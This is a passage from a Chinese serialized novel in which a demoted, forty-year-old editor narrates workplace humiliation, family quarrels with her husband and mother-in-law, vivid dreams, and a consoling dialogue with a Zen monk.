叶展眉说:“我们在《小坛》实习的时候,局长的女儿露丝跟我们一起实习。人家都是实习生请师父吃饭,可是露丝的待遇是,《小坛》的黄社长请露丝吃饭,所有的师父来作陪。” 我说:“天呢,这些我都不知道,你是怎么知道的?” 叶展眉说:“我不是跟露丝一起在《小坛》实习的吗?我们两个是闺蜜。露丝回来跟我说的。她当时才十九岁,刚上大一。黄社长跟一群师父陪着她吃饭,跟她敬酒,她都尴尬死了。” 我笑着说:“看来,人都有自己的难处。我们没有关系,老是被排挤,我们被排挤地难受,人家关系太硬,到处被巴结,人家被巴结地也难受。” 叶展眉说:“没办法,谁让人家是公主呢。” 我说:“小叶,你怎么敢跟我说这些啊?你怎么不怕我卖徒求荣,说出去把你给出卖了啊!” 叶展眉说:“怎么可能呢!你是我的老师啊!我们是什么关系啊!” 叶展眉借了书要走了:“我走了,宋老师,你要好好地。杜涉这人就是骨子里的坏!这不就是所谓的PIP吗?怎么让这种人上了管理岗呢?就等着组织架构重新调整,换一波新的leader,也许会好一些吧。” 我说:“我没事,叶展眉。你一个小姑娘,你才要多多保重!” 又到了下午下班的时候,我骑着电动车,走过新建的水泥路上头,旁边是秋日的农田,前方,是巍峨的青山。那青山上有两个挨地很近的山头,像是妇人的胸襟。我对着那青山,走在路上,心里忽而唱起了小时候唱的那首歌:“小小竹排江中游,巍巍青山两岸走。” 是的,青山为证,天地可鉴,我,宋大省,势必要闯出属于自己的一片天。 是海,我去填!是山,我去搬! 是屎,我去吃!是气,我去受! 是苦,我去尝!是罪,我去担! 我是大山的孩子啊,大山的孩子像草一样贫贱,也像草一样心比金坚。我的心是属弹簧的,给我的压力越大,我往外钻的动力越强。 现在,我单人独骑,遍体鳞伤,匹马夜闯,我不害怕,反而更加喜悦,更加狂妄。文字是我手里的丈八长矛,是我的戟和枪。 女儿四十年未高,纵横天下气冲霄。大鹏一日拔地起,方识人间真英豪。 是的,吾年四十而有志于学,这一次,是真正地为我…… 我回到家,我在低头洗菜的时候,手机里放着我爱听的歌: 辕门外三声炮响似雷震,天波府走出我保国臣。 头带金盔压苍鬓,铁甲的战袍又披上身。 帅字旗斗大穆字显威风,我穆桂英五十三岁又出征。 都只为安王贼战表进,宋王爷传下旨到校场比武夺帅印。 我的儿他一马三箭射得准,我的小女儿她的箭法高箭射金钱落在埃尘。 那王伦一见气不忿,他要与我儿论个假真。 未三三合并两阵,他就一刀劈死小王伦。 宋王爷在校场把我儿来问,我的儿瞒哄不住口吐真情。 他说道杨令公本是他先人,他是宗保的儿子延景的孙。 他有一个曾祖母佘太君,穆桂英我本是儿的娘亲。 宋王爷听说他是杨家后,他不加罪反给这元帅印。 佘太君为国要尽忠,她命我挂帅去平贼人。 我们一不为官二不为宦,为的是大众江山和众黎民。 叫那满朝文武看一看,谁是治国保朝臣。 49. 见心见禅——关于鸡 1.见心见禅 又到了我去喂养室打扫卫生的时候了。我拿着扫帚走进了喂养室。 曾经,我还是这里的喂养员,我从一个编辑被贬到这儿做喂养员,至少,我还跟这儿的人一样,是个喂养水平最差的猫猫的喂养员。是个被剥夺了做编辑的权力的喂养员。这样的存在其实本来就是一个尴尬。这样的尴尬,我已经忍受了一年。 而今,我连喂养员都不是了。我连尴尬的资格都没有了。我直接被发配,被宣布完蛋。 很多喂养员跟我还是认识的。她们看到我,就像看到一个刚刚被发配走的犯人戴着枷锁又回来了一样。她们一定觉得很怪异吧。其实,我也觉得怪怪的。我已经被扒掉了喂养员的外衣,我连喂猫的资格都没有了,我还来这儿干什么呢?我这不是自找没趣吗? 我是个要脸的人。依我的性格,既然此地不留爷,爷不会再跨越雷池半步的。 可是,我还是要来。是了,我还要来这儿打扫卫生,我要扫那些猫猫的毛毛,我要给那些猫猫铲屎。我现在跟那些猫狗儿一样把沟子夹地紧紧地,他们说什么就是什么,我一切得令遵旨嗻就是了。 我刚刚走进喂养室准备扫地上的毛毛的时候,一个接替我的的喂养员来了,领导让她来喂养我去年喂养过的那些猫。 “宋编辑,你给我五分钟的时间行吗?我来剪一下那些小猫的指甲。”她说。 “行行行!好的!好的!”我笑着说。 我走到走廊里一个抱柱的旁边扶着栏杆站着,等着她在里头给猫猫剪指甲。 “来!把小爪子伸开!对!把第二个指头给我!我来剪指甲!”她在里头呵斥着。 那些小猫安安静静地等着她给它们剪指甲。 我站在抱柱旁边,让参天的抱柱挡着我。好让其他更有资格的喂养员看不见我。我怕她们看见我,觉得诧异,诧异我为什么明明被发配了,还赖着不走,或者狐疑,狐疑我是不是非要来这儿晃晃,好让领导把我看地顺眼了,善心大发,让我重新拾起喂养猫猫的活儿,重新加入喂养猫猫的光荣的行列。 我躲在抱柱那儿,等着她继续她的更有价值的工作。她如果把我的时间全部用完,那我就在走廊里一直等着,我吹吹风,也没什么不好的。她替我把我的工作时间给打发了,我还得感谢她呢。 正这样想着。另一个我曾经认识的喂养员从我身边走过去:“宋编辑,你可以进去打扫卫生了。她已经快要剪完指甲了。” 我说:“好的。谢谢!” 我就这样站着。其他的喂养室里,大家的工作都已经开始了。只有我还在外头站着。明明是我的工作时间,我却要被她罚站。时间已经过去了五分钟,她还在里头。我不知道她要在里头待多久。如果她想要我全部的时间呢,我也乐得全都给她。 我走近喂养室门口儿,探头看看她,想问问她,要不要把我的时间全都给她。 她先看到了我。 “进来吧!”她像是吆喝一个学生一样高高在上地跟我说。 我客客气气地问她:“要不,这段时间给你?” “我不要!”她说。我知道她也怕累,我要是把我的这段时间全部给她,她其实不会要。可是,她又非要让我在外面站着,眼睁睁地看着她像个老师似的高高在上地站着。 我又到外头站了起来。 等到她剪完指甲出来,跟我说:“宋编辑,我弄好了。你进去吧。不好意思啊,我耽误的久了,占用你的时间了。” 我笑着说:“没事儿的!” 她说:“你打扫完卫生,给它们喂点水,下一个时间段是我的。我要来给它们喂食。” 我说:“好好好!行行行!” 我正在铲屎的时候,一个小朋友进来了。 “这是羊!”他指着墙上的挂图说。 “那是牛!不是羊!”我说,“你们这些城里的孩子,连牛和羊都分不清了。你是来参观的吗?” “是的。我来这里观察小动物,回家要写一篇观察日记。” “你们没见过牛和羊也正常。你们从小就生活在城市里,你们哪里见过。” “我在熟食店里见过牛!”小男孩儿笑着说,“我只吃过牛肉,没见过牛!你见过吗?”小孩儿说。 “我当然见过!”我说。 “牛和羊的区别是什么呢?”他问我。 我说:“你看,这个挂图上的是牛!牛角是弯的。被牛角顶了很疼的。羊角呢,就是两个小尖子。小姑娘扎的辫子不就是叫作‘羊角辫’吗?羊角没有牛角那么尖锐可怕。” “我知道了!西班牙斗牛!很危险的!”小男孩儿说。 我们正说着,刚才那个给猫剪指甲的女人进来了。 “说我什么坏话呢?”她问道。 “我们在讨论牛和羊,又没说你?”小男孩儿一脸无辜地说。 我笑嘻嘻地跟她说:“我跟他说牛和羊呢。” 她听了我们的话,好像放心了。她缓和了一下语气说:“好!一会儿我还来!”说着,她走出去了。 我边清理地上的毛毛,边问那个小男孩儿:“对呀!你知道斗牛用什么吗?” “用红布!牛看见红布就会被激怒!”他说。 “是的。真聪明!你说人如果穿红色的衣服,会不会也容易把身边的人激怒?” “我不知道。但是我知道,牛的眼睛只能看见红色。”他说。 “你说的这些我都不知道,你知道的好多啊。你还知道牛和羊的区别吗?” 我说。 “不知道。”他说。 “牛的皮毛就像这张挂图上的一样,是棕色的,羊的皮毛是白色的。” 我说。 “所以懒洋洋、美羊羊的皮毛是白色的!”他说。 “对头!” “牛的体型跟羊的体型也不一样。你们学过‘牧童骑黄牛’吗?”我说。 “没有。” “‘牧童骑黄牛,歌声振林樾。意欲捕鸣蝉,忽然闭口立’。既然牧童能骑黄牛,你说,黄牛的体型是什么样的?” “黄牛的体型很大!”他说。 “对!真棒!” 我们正说着,刚才那个女人又进来了:“你们说我什么呢?” “我们说牛呢,没说你啊!”小男孩儿疑惑地说。 “你要是闲得慌,就帮我把那几个小猫的指甲剪一剪。”说着,那个女人又出去了。 “她想得美!我才不帮她剪指甲!我们说我们的。关她什么事啊。”小男孩儿说。 我当然也不会让小男孩帮她给猫猫剪指甲。 我笑着说:“我突然想起来一件事。你知道牛和羊还有什么区别吗?” 他说:“什么?” 我笑着说:“你知道牛粪在哪儿比较多吗?” 他说:“大草原!” 我说:“对!牛粪的块头比较大。所以牛粪又叫‘牛屎饼’。草原上的人背着个篓子去把牛粪捡来,晒干了,冬天可以当柴烧。你知道为什么牛粪可以当柴烧吗?” “我知道!因为牛吃的是草!里面有很多纤维!”小男孩儿说。 “那你知道羊粪是什么样子的吗?”我笑着问他。 “嗯,不知道!”他说。 “跟你吃的巧克力豆差不多!哈哈哈哈!”我笑着跟他说。 他说:“你是老师吗?” 我说:“我不是老师。你哪里觉得我像个老师?” 他说:“我就是觉得你像一个老师。你长得像我们的科学老师。你姓什么?” 我说:“我姓宋。” 他说:“那我以后叫你宋老师吧。你以后还来吗?” 我说:“我以后会来的。” 他说:“那就好。” 我正跟他说地火热,那个喂养员又进来了。 “我来吧!”她说。 “好好好!那我回去了。”我说。 “宋老师,再见!”小男孩儿说。 “再见!”我说。 下班了,我骑着电动车回家。一天的工作下来,我的眼睛是呆滞的。前面大街上,一个女人用橛头扛着一竹篮的冬瓜、韭菜花从我身边走过去,那一刻,我的生命又变得悠然而鲜活了。 天上,开始滴答起雨点了。我骑着车拐到一条林荫小路上。再往前走一段路,雨开始大起来了。我停下来,去框子里找到了雨衣披上,继续往前骑。路边上,有一个男人停下了车子,躲在小树底下避雨。我不想停下来,我要继续往前去。雨越下越大。那是我生命里最大的一场雨。幸好我有个雨衣。雨哗哗地下着,路上的积水越来越多。路上,有的小汽车闪着红灯,停在路边儿上。可是,我的电动车还能往前挪,我骑着我的电动车继续往前挪。雨水横扫着眼前的一切,我的眼镜上被雨水做了窝,已经要看不见路了。我还是继续往前骑着。 我已经没有退路了,我只能勇往直前了。我就是这样的性格,风越大雨越大,我的冲劲儿越大。 快到家的时候,雨居然停了。我到了楼底下,把我的电动车停好,擦擦脸上的雨水,再进家。是的,我必须要整理好我的仪容仪表。因为我知道,孩子看见我这个狼狈的样子,会觉得害怕。老太太看到我被淋地跟个落汤鸡似的,她嘴里说着辛苦,心里会美滋滋地。是的。我跟老太太之间的友谊,已经到了彼此会幸灾乐祸的地步。我们之间,谁发生了不幸,另一个都会觉得高兴。所以,我们俩,在彼此跟前,发生了磕磕碰碰,即使疼也会忍着,为的就是不让对方高兴。 到了家,我跟老太太说:“端午周六下午回来,你明天下午走吧。你看着孩子,我买买菜,烧烧饭。然后你回去休息一天。” 她说:“好的。” 我说:“快递到了,我下去拿个快递。我给宝宝买了一个洋娃娃。” 我打了一把伞出去。等我取完快递回到家,顺手把雨伞打开,支撑在客厅里。老太太看见了,赶紧走过去,把雨伞收起来。 我说:“你怎么收起来了啊?还没干呢。放在那儿控控水啊。” 老太太说:“雨伞不能打开放在家里,下雨天打伞,伞底有鬼。我都是把伞放在门外头。” 我说:“你把它收起来,它里头不干,不生锈啊?我好几把伞,还滴着水就被你给收起来,好好地伞都生锈了。这把你别收起来了,我把它放在阳台上吧。” 宝宝看见了我手里的东西,就挪到我跟前来。我把洋娃娃拿给她。那是一个穿着湖蓝色连衣裙的洋娃娃,有着一双大大的眼睛和一头金黄的长发。 “洋娃娃!妈妈小时候都没有哦!”我笑着跟宝宝说。 “洋娃娃都是鬼,你还买给她玩!” 老太太不高兴地说。 我说:“没有鬼!哪里有鬼?你看见了?能看见鬼的人,都是自己心里有鬼。她自己身体弱,没有正能量,所以才招鬼。你以为我不懂啊?人家那些大人物的画像,老百姓都贴在家里辟邪。人的心里正义,连鬼都怕他。哪个宝宝没有洋娃娃?你不给她买,我买来了,你还跟着泼凉水。” “你买的那些小汽车,小飞机,宝宝玩一会儿就不玩了。那个小螃蟹,早就不跑了,都是水货。”老太太说。 “玩具玩地时间长了,坏了也正常,跟人一样,老化了嘛。火箭飞机也要维修啊。”我说。 星期天,端午带着孩子,我把床单洗上,又去买菜。 我买菜的时候问他:“我给你买点水果吧?你是吃柚子还是哈密瓜?” “柚子吧,哈密瓜太甜了。”端午说。 等我回来的时候,看到宝宝正在吃桔子。 “哎呀!滴了一身!哎呀,滴到肚子上了!”我说。我洗个手过来,端午正对着镜子,不知道在跳什么玩意儿。 我赶紧走到宝宝跟前,边给她擦手,边骂端午:“你是死人啊!你不能给她擦擦啊!赶紧走吧!别回来了!我又要去晾衣服,又要去洗菜,我都不知道要忙哪一样了,你还在跳!孩子你都不管不顾!我活得还不如寡妇呢,寡妇还没有人气我呢!你一回来我就头疼,你还不如不回来,你回来只能给我添麻烦,让我更累。你家务家务不行,孩子孩子不行。你还怪我说你!哎,在一起干什么,赶紧离婚吧!” 端午赶紧去给宝宝擦手。 宝宝说:“妈妈骂爸爸!” 端午边给宝宝擦手边说:“你不要捣蛋,你看,你一捣蛋,妈妈就骂爸爸!” 宝宝说:“我不要跟妈妈离婚!” 我把宝宝抱过来说:“妈妈不会跟你离婚的,两口子才离婚呢。妈妈跟妈妈是两口子。妈妈是骂爸爸的。妈妈怎么会离开你呢,妈妈最爱你了。” 宝宝点点头。 端午带着宝宝,我在厨房烧菜,等我把一盘盘的荤菜、素菜和汤端上桌,端午过来吃饭了。 “咳咳咳!”他曲着腿儿弯下腰,对着饭桌咳嗽了几声儿,转身儿又跑到厨房里咳嗽了几声儿。 “哎呀!我刚烧好的菜,你就朝着它咳嗽。你不能转下身儿嘛。”我没好气地说。 “没有啊!我没对着桌子咳嗽啊。”端午说。 “我亲眼看见的,你还不承认。”我说。 端午不理我,端了一碗饭回来拿起筷子吃饭了。 “你就知道自己吃,也不知道给我拿双筷子。”我说,“你就知道自己盛饭,你饭也不能给宝宝盛啊!” “盛早了就凉了。”他说着,抄起筷子往那碗大盘鸡里娴熟地抄了两下。 “你能不能不要挑啊?跟鸡在柴堆上扒拉草似的。你不要这样。” 我说。 “哪那么多讲究。”端午不屑地说。 “这不是讲究。你这是坏习惯。”我说。 端午问宝宝说:“你吃鸡肝吗?”说着,他就用自己的筷子去夹那块鸡肝。 “我跟你说过多少回,你不要用自己的筷子给她夹菜。你晚上都不刷牙,你都有口臭了。大人嘴里有细菌,你怎么就是不听呢。好好的一块鸡肝被你给污染了。” 我把端午夹过的鸡肝夹到我碗里,不给宝宝吃了。 端午吃完了饭,拿起纸巾冲着饭桌使劲儿擤鼻子。 “哎呀!你以后不要冲着饭桌擤鼻子!你怎么老是对着饭桌擤鼻子啊!我还在吃饭呢!你以后剪指甲、掏耳朵,都离饭桌远一点。” “我去洗澡了!”端午说。 “我还没吃饭呢,你带着宝宝,我吃饭。”我说。 端午拿起桌上的柚子就掰,他使劲儿地掰着。 “你拿菜刀划开嘛。”我说。 “不用刀,这样掰开可以玩。”端午说着,又开始使劲儿地掰。 “你要掰成两个瓢子吗?掰成瓢子可以给宝宝玩。” 端午终于把那个柚子给掰开了。他拿着柚子皮跟宝宝在沙发上玩。 “嘿嘿!这是爸爸的面具!”端午说,“变变变!” “给我给我给我!”宝宝说。 “端午,宝宝要玩,你给她!”我说。 我觉得我吼的不是我的老公,而是一个孩子。我知道端午还是个孩子,他有他的单纯与可爱。没生孩子之前,我是很喜欢他。可是,现在我有了孩子,我需要的是一个跟我一起共同养育孩子的爸爸,而不是一个不通世事的孩子。可是端午还想做个孩子,他不会育儿,不想育儿,不会做饭,不想做饭,不会做家务,不想做家务。这样的巨婴对我来说,绝对是负担,是灾难。 宝宝该尿尿了,她自己到她的小马桶上坐着尿。 等她尿完了,我跟端午说:“你去把她的尿倒了。” 端午说:“我不去,我受不了那味儿。” 我说:“你平时不在家,都是我给她擦屎刮尿的。现在你在家了,你连一回尿都不给她倒啊?” 端午说:“我不行,我要呕吐了。”说着,他眼圈居然红了,一副马上就要呕吐的样子。 我说:“小孩儿的尿能有多脏啊?你现在不给她倒尿,等你老了,她还得给你倒尿,凭什么?不行,你去给她倒了!” 端午说:“我就不倒!” 我说:“你凭什么不倒?我倒了九百九十九次!你一次都不想倒!我强势?我强势是我自己干了一千件事,让你干一件事?你老实?你老实,我干了一万次,你一次都不干!你跟你们家的人就是这样欺负我的!不是我欺负你们!是你们家人黑了心欺负我们!你倒不倒?不倒立马走人!永远不要回来!一点活儿不相干,回来干什么?一个死男人,光靠耍嘴皮子的?” 端午只好去把尿给倒了。 我说:“这不是好好的吗,有那么夸张吗?我就喜欢给我宝宝倒屎倒尿。我天天盼着我宝宝拉屎。以后,只要你在,就你给她倒屎倒尿。你不伺候她小,凭什么让她给你养老啊?她现在那么小,你都不给她倒屎倒尿,等你老了,卧床不起了,你的屎尿那么臭,凭什么让她给你倒?” 端午说:“你的嘴能不能少说几句?” 我说:“你懒地要死,还怪我说你啊?你们家人都那样,明明是你们做地不好,还怪我说你们。凡事不讲个前因后果吗?是我先抱怨的还是你们先做下的?说我天天抱怨,我抱怨的是事实吗?如果我抱怨的是事实那就不叫抱怨。那是如实陈述。我说错了吗?你妈妈是个撒谎精,你爸爸是个骚公鸡。” 我看了看宝宝说:“你爸爸是什么?你爸爸是个懒公鸡!” 端午打开他的pad。宝宝跑了过去:“汪汪队!汪汪队!” “你去沙发上坐好,离得远一点。爸爸给你看汪汪队!”端午说。 宝宝乖乖地坐在沙发上看电视了。我到房间里收拾东西,准备带宝宝睡觉。端午走了进来。 “你不去看宝宝,你来干嘛?”我问他。 “来来来!趁着她现在不打扰我们。”端午说。 “不行。你不是说要等宝宝上学去吗?你不是怕宝宝看见吗?” “宝宝现在看电视,又不打扰我们。”端午笑着说。 “不行。忙死了,没那心情。都忙地烦死了。”我说。 “来来来!”端午催着我说。 “哎呀,真的不行!你烦死了。年假没有,中秋没有,‘五一’没有,‘十一’没有。现在跟诈尸似的,突然有了!莫名其妙的!一点感觉都没有!跟个常年不联系的哥们儿突然喊我去打篮球似的。莫名其妙!神经病!你想来就来,我说去就去啊?”我躲开他说。端午看我严词拒绝,也就算了。 是的,莫名其妙,真的是莫名其妙。 时至今日,我对端午在温情方面不再有任何的幻想和渴望了。养育孩子的辛苦,婆媳之间纠缠不清的烦恼,和他对家务对孩子的不参与以及他对他的家庭的偏袒,让我对他,他对我,早就寒了心,没有了兴趣。我们只是为了孩子在一起,仅此而已。 我比他大,我很要强,我也不是动物,我也已经到了不惑之年。我不会为了动物似的需要去向他求欢。我对他可能也没有多大的喜欢了。一个男人,我想跟他男欢女爱,那得是他的人品、能力,和他对我的态度,都充分地让我认可和欣赏,这些东西,缺一样都不可以。对端午,这些我都没有了。没有了认可,还谈何情爱谈何温存。 我知道我的内心其实还没有寒透,我才四十,半老徐娘,我的内心的春天还没有彻底死掉。要是夫妻恩爱,琴瑟和谐,我跟我亲爱的夫君在悄无声息的暗夜,一晌贪欢,珠联璧合,未尝不可。可是,我跟端午的情爱,真的山穷水尽了。 从我怀孕,到生产,到哺育一个婴孩儿,他没有给我一个丈夫该有的温暖和支持。他的身体,他的精神,他的英明,在我这儿,统统宣布瘫痪。我对他,已经没有半点情味了。 梦,这几天,频繁地做梦。先是梦见荆堂南家前的二婶子。我想找一样东西,二婶子说她知道。二婶子走在我前头,我跟着她,走过一溜儿田埂,下了坡,到了一条大河前头。二婶子告诉我,河里有我要找的东西,可是我垫着脚站在河滩边儿上,不敢再向前。 我梦见我弟弟坐在我爷爷家前头的大街上。他说他要去打工。我说你年纪这么小,怎么能去打工呢?他有些狡猾地说,二姑如果知道我去打工,能不赞助我几个吗? 我梦见一个老头子要送我一个红头巾,说要我带回家给我奶奶戴。我告诉他说,我奶奶早就走了。她不在荆堂了。我爷爷不疼老婆孩子,自己吃独食。我奶奶恼恨他,早就去了东北了。我骑着自行车经过杜村,我看见杜村黄土路左边的一排排的土屋都变成了青石头的瓦房。我骑着自行车从杜村河沿上的大坡上直冲下来。前头,就是一条分叉路,一条奔向杜村,一条奔向荆堂。 我到了爷爷家,爷爷用一条条绿色的藤萝把他的小屋装饰地更好看了。我问他,他是怎么把那么多的藤萝一条条挂在屋檐上的?我进了爷爷的小屋,跟爷爷一左一右躺在床上,我想喝水,我爷爷递过来一杯水,我喝了一口,杯子里的水不干净,好像有我抠掉的手指头上的皮。 我梦见了欧阳杰,那个有些黑黑的壮壮的男人,我跟他一起走过夜晚的街道,他突然抱住我,说要跟我好。我在他的拥抱里找到了久违的爱的感觉。我打算跟他一起过。他说,他会好好对我。我让他回去跟他的父母好好商量商量,我等他的消息。他让我等着他。我等着他的时候,自己走在高高的拱桥上。脚底下,桥面上的一块块石板开始崩裂了,我踩着那些崩裂的石板跑起来。 直到我从梦境中醒来,我知道我的身边还有一个小孩儿。我知道他也不会再来。我给身边的小孩儿盖盖被子,自己再躺下,闭上眼睛,重温一下这样难得的梦境。我和他推推搡搡,拥挤在一起,并没有登堂入室。可是这对于处于婚姻里头的爱情的严冬的一个中年妇女来说,这已经足够了。也许,我的内心还是渴望爱情的吧。可是,或许,我再也不会有,我再也不敢再也不屑踏入另一段感情了。 所以,我很感谢这样的梦境。 清晨起来,该去上班了。我想想职场里的那些女人,她们那么高雅,那么风轻云淡。我是那么庸俗那么疲惫。我的确没有她们那么优雅,那么落落大方,那么平淡冲和。我有时候兴高采烈,有时候歇斯底里,有时候哭哭啼啼。她们真的可以一直微笑吗?她们难道没有自己的烦恼和悲伤吗?还是职场容不下一个人的悲伤。 可是,那种职业性的微笑并不让我感到温暖,相反,那只让我觉得恐惧和孤单。我想看到一个有真情实感的人,我想看到一个有情绪有情感的人。我不喜欢那种永远的平和平淡,我厌倦了那种平和平淡。 对!端午就是那种人!端午的样子就像一个陌生的职场的样子,永远淡定,永远平和,你闻不到感受不到他任何的人味儿,他永远冷漠。对!这种平和的背后其实是没有温度的冷漠。这种感受你说不出道不出,他让我孤单、苦闷,焦躁、想逃,可是又没有明确的借口! 我知道我为什么会梦见欧阳杰了,他是会愤怒的,愤怒的他让我觉得很真实,让我看到他作为一个人是实实在在地存在的。他作为一个男人是实实在在地存在的。 是的,我不喜欢平和,我喜欢热烈。就像喜欢一匹枣红的马儿,热烈地奔跑或是撒欢儿,热烈地去爱或恨。 我厌恶了那种平和,因为他给了我伤害和冷漠。 想到这儿,我的灵魂像是一只小猫蜷缩在角落里。 夜里下了一夜的雨,早上,我骑车去上班了。眼前,雾雾潮潮的。我的心里也雾雾的潮潮的。我骑车走在大树下,一滴雨水像是一滴眼泪一样,落到了我右边的眼镜上,我没有管它,反正也不影响我的视线。就当做是大树在替我哭泣吧。 小时候,妈妈让我去哭丧,我哭不出来。到了现在,一滴雨水落在脸上,都能够引起我的悲伤。我明白了。我妈妈还有那些农村有孩子的妈妈,为什么她们一去哭丧,就可以嚎啕大哭放声悲号了。她们哪里是哭别人,她们明明是憋了一肚子的心酸与委屈,她们是在哭自己。 又往前走了几步,从树上飘下来一片黄黄的树叶,斜飞着打在我右边的脖子上,像是一个拥抱一个吻,掠过我的身上。 我知道,这是一棵树对我的补偿。这是多么美好的一天早上。 上班的时候,有想法的时候我就打字,没想法的时候我就这样静静地看着我的那些文字,一点点地修改着。 外面是个阴晦的天气。保安来送报纸了。 “早!”他说。 “早!辛苦了!”我远远地跟他打招呼。我依然坐在我的位子上,继续我手里的敲打。 保安走了以后,我来到柜台边。那些报纸好端端地放在那里。我把那几张报纸,分门别类地放到各自的格子上。 我回到自己的座位上,正在沉思着,忽然想到了小儿的奶粉,只有三罐了。这个月维持不了太久了。我拿出手机给卖奶粉的发信息: “有奶粉吗?” “周末约一下。” “好累啊,苦中作乐。” “可以。”她说。“周末给你送。” “有玩具的话大大的拿来,谢谢!”我说,“两箱。刚发工资就得安排上。自己不吃也得安排上。” “要最新的哈。” “好的。”她说。 是的,我累了,我抬头看向窗外。这儿开了很多扇窗户,飞进来各种昆虫,留下了很多昆虫的尸体。有小手指那么长的大黄蜂,有干枯的树叶一样的小飞蛾,还有死了以后还依然栩栩如生的小苍蝇,它静静地趴在窗台上,像是谁专门制作的标本,看起来像是没死一样。我居然不想伸出我罪恶的手指把它给弹走。它影响我什么了?就让它好好地陪着我呆在这儿,谁说不行了? 窗外,还是那间小屋。我忍不住朝那小屋走去。 天空蓝蓝的,很干净,几丝白云挂在天边,像是刚刚落下的扫帚齿印。一只肥肥的大黄狗,呲着大白牙从东边的山坡跑下来了,它几乎要碰着我的腿了,我看着它,它却一股脑冲着西边的山坡狂奔过去。 小屋不远,很快,我就来到了小屋的近前。那小屋有灰灰的屋瓦,可是里头并不黑黑。斑驳的屋门前,有几个即将被岁月剥蚀的小字:沐恩禅寺。我双手合十,正想踏进那小屋的门槛。从里间里走出来一个似僧非僧的僧人,那人身高八尺,两目微垂,只见天地,不见世人。他的身边立着一只瓢和一桶水。 我纳头便拜: “请问师父,我本一心向善,专心求学,奈何所见非所知,所学非所用。冰凌白玉者,易为摧折,盘根错节者,郁郁葱葱。” 那人说:“玉易摧折,玉终究是玉。盘根错节者,终究是腐货。如此看来,摧折有何苦?郁郁葱葱又有何乐?” 我说:“敢问师父,似我等前无出路、后无退路者,该如何绝处逢生?” 那人说:“你既然入我门来,我便知你已无路可走、无处可求。你虽说是身陷困境,但我观你心地澄明,本心初念,非但未死,已然觉醒。浩然之气,直逼昊空。天人一体,终成大功。” 我说:“师父说天人一体。可我伸手出去,徒见五指。不知天在哪里,地在何处?天地不仁,以万物为刍狗。我如今惶惶然如丧家之犬,恍惚惚如断肠之魂。凄凄然如一叶孤舟。不知风向何处吹,浪向何处打?师父可有度我之法?” 那人说:“‘何世无奇才,遗之在草泽’。古来不得志者,何止你一个?你看这菜园,我每日勤加护持,小心浇灌。虽说还未见萌芽出土,但那黄土垄中,终将有破空而出的生灵。万物皆有自己的因果。又岂会急于一朝一夕乎?况你通身上下,有木兰之风,桂英之气,你自会虎口脱险、绝处逢生,又何须旁人来度你?” 我说:“我知万物皆有自己的因果,我也知师父慈悲,见万物经春,必然欢喜。若见万物经冬,师父可也悲悯怜惜?” 那人说:“悲又如何?悯又如何?不改其因,不变其果。你入我门来,可是单单为求个悲悯?寻个因果?你一身朝气,两肩霜露,也是勤苦之人。你自去种你的菜,锄你的地,自去耕耘出一个结果。那结果便是你的因果。” 我潸然落泪说:“我终日耕耘,甘苦尝尽。通身的牛马之气,壮士之心,愧对这错生的女儿之身!可是人非草木,风刀霜剑,终日摧折,怎不痛心?” 那人说:“无路可走时,向脚下问路。无田可耕时,向心田耕耘。无人可求时,自度己身。风浪来袭时,向浪里劈开一道法门。” 我说:“从今往后,我自当消百念,避凡尘。求正果,度己身。” 那人说:“不经一番锤炼,铁哪得成钢。耐得百折揉摧,泥方才成胚。持正守心,守今时,得终身。” 我说:“今日苦旅中,见黄狗当道,蛇鼠一窝,蚊蝇遍野。我年近四十,初尝这人世况味。却道不尽这许多的是是非非,说不尽那其中的曲曲折折。” 那人说:“狼虫虎豹将人欺,自古以来不稀奇。恶贯满盈终有报,草木荣枯各有期。” 我说:“我本溪头青青草,何惧头上闪闪刀。半生风雨谁知道,是非成败走着瞧!” 我走出了那人的屋门,身后是遍地金黄的麦草,脚下是滚滚向西的黄土路和蹒跚的脚印。仰天看,那路在青藤老树的掩映下看不到尽头。这条路,可是西天取经的路?这条路,我势必要走下去,走到底。即使前方是漫山遍野的荆棘,我也要不顾惜这一身□□,披荆斩棘、遍体鳞伤地走下去。 小屋的门前有一棵高高的小树,树干有我的手臂那么粗,上面残存着几片绿色的叶子。 那人说:“这是活血树,叶子能活血。你的心不是伤着了吗,我摘几片叶子给你,你带回去,用热水冲服,或许能化解你心头的淤血。”他说着,摘下几片树叶,转身儿递给我。 我接过那些树叶,跟他说:“谢谢师父!” 几只白色的飞鸟从水塘里飞起,向着翠绿的山芋地一直飞过去。 那是白鹭。就在这片水田里生活。我是北方人,没见过白鹭。小时候,在我们的西岭上,经常见到大雁。那些大雁一行行的,在我头顶上飞过去,冲着我爷爷家的屋檐,一直往东飞去。它们跟书上说的一样,一会儿排成“人”字形,一会儿排成“一”字型。我已经多少年没有见过西岭上的大雁了?那些大雁也老了吧,有的更老的大雁,是不是像我爷爷一样,已经早早地过世了?有的大雁是不是也正像我一样,为了几颗饱腹的粮食整日奔忙?记忆里的那些大雁是成群结队一行行,可是我现在却是孤孤单单,形同孤雁。嗐!不说了,我这样的年纪,哪有心思自艾自怜,我迈开大步朝前头走去。 一只雀子在竹林的心窝子里头“普通”跳了一下,我没看见那雀子的摸样,只看见竹叶“沙沙”作响。秋天到了,我吸了一鼻子桂花的香。这是一棵桂花树,一棵无人问津的桂花树。可是,花儿无论是在陆地还是在沼泽上,无论是在藏羚羊还是在狮子的身旁,她都一样地生长。 是的,秋天到了,而我自己的春天,正悄然开始。我很庆幸,在我生命的严冬的阴影降临之前,我就早早地给我自己种下了一片菜地,这片菜地,护我内心周全,保我经历着这漫长的冬季,还能高昂着头颅,生生不息。 回去以后,我把那片树叶放进我的杯子里,倒了满满一杯子水,缓缓地灌了下去。 远远地,我看着那棵树。秋天了,小树的叶子几乎全落光了。它干枯地站在那里,阴天,没有太阳光,它没有影子,你看不见它的灵魂。不知道的还以为它死了。别人也许觉得它这样活着实在没有意思,还不如去死。可是,一棵树,是生来就经受得起风雨的。只有它自己知道,它浑身的器官,都在积蓄能量,它的内心深处,还有万丈光芒。它得慢慢儿地长,慢慢地释放。 说来也是奇怪,这种树,它不喜欢温晴的天儿,只有夏天的骄阳像火一样来烤它,只有冬天的雨雪像魔掌一样要掐死它,它才猛然从刚才的昏睡中醒过来,更加猛烈地抽动它的筋骨,转动起它的年轮上的条纹。它狂喜地接受这些摧残,因为它经受摧残的同时,也在疯狂地生长。那些打在它的皮上、枝干上的冰雹,使它受了伤,也让它变得铜筋铁骨,更加强壮。一棵树的生长,是要经历些风雨雷电和冰雪严霜的。 2.综合组开会 开会了,我们拿着记录本到了属于我们的小会议室。 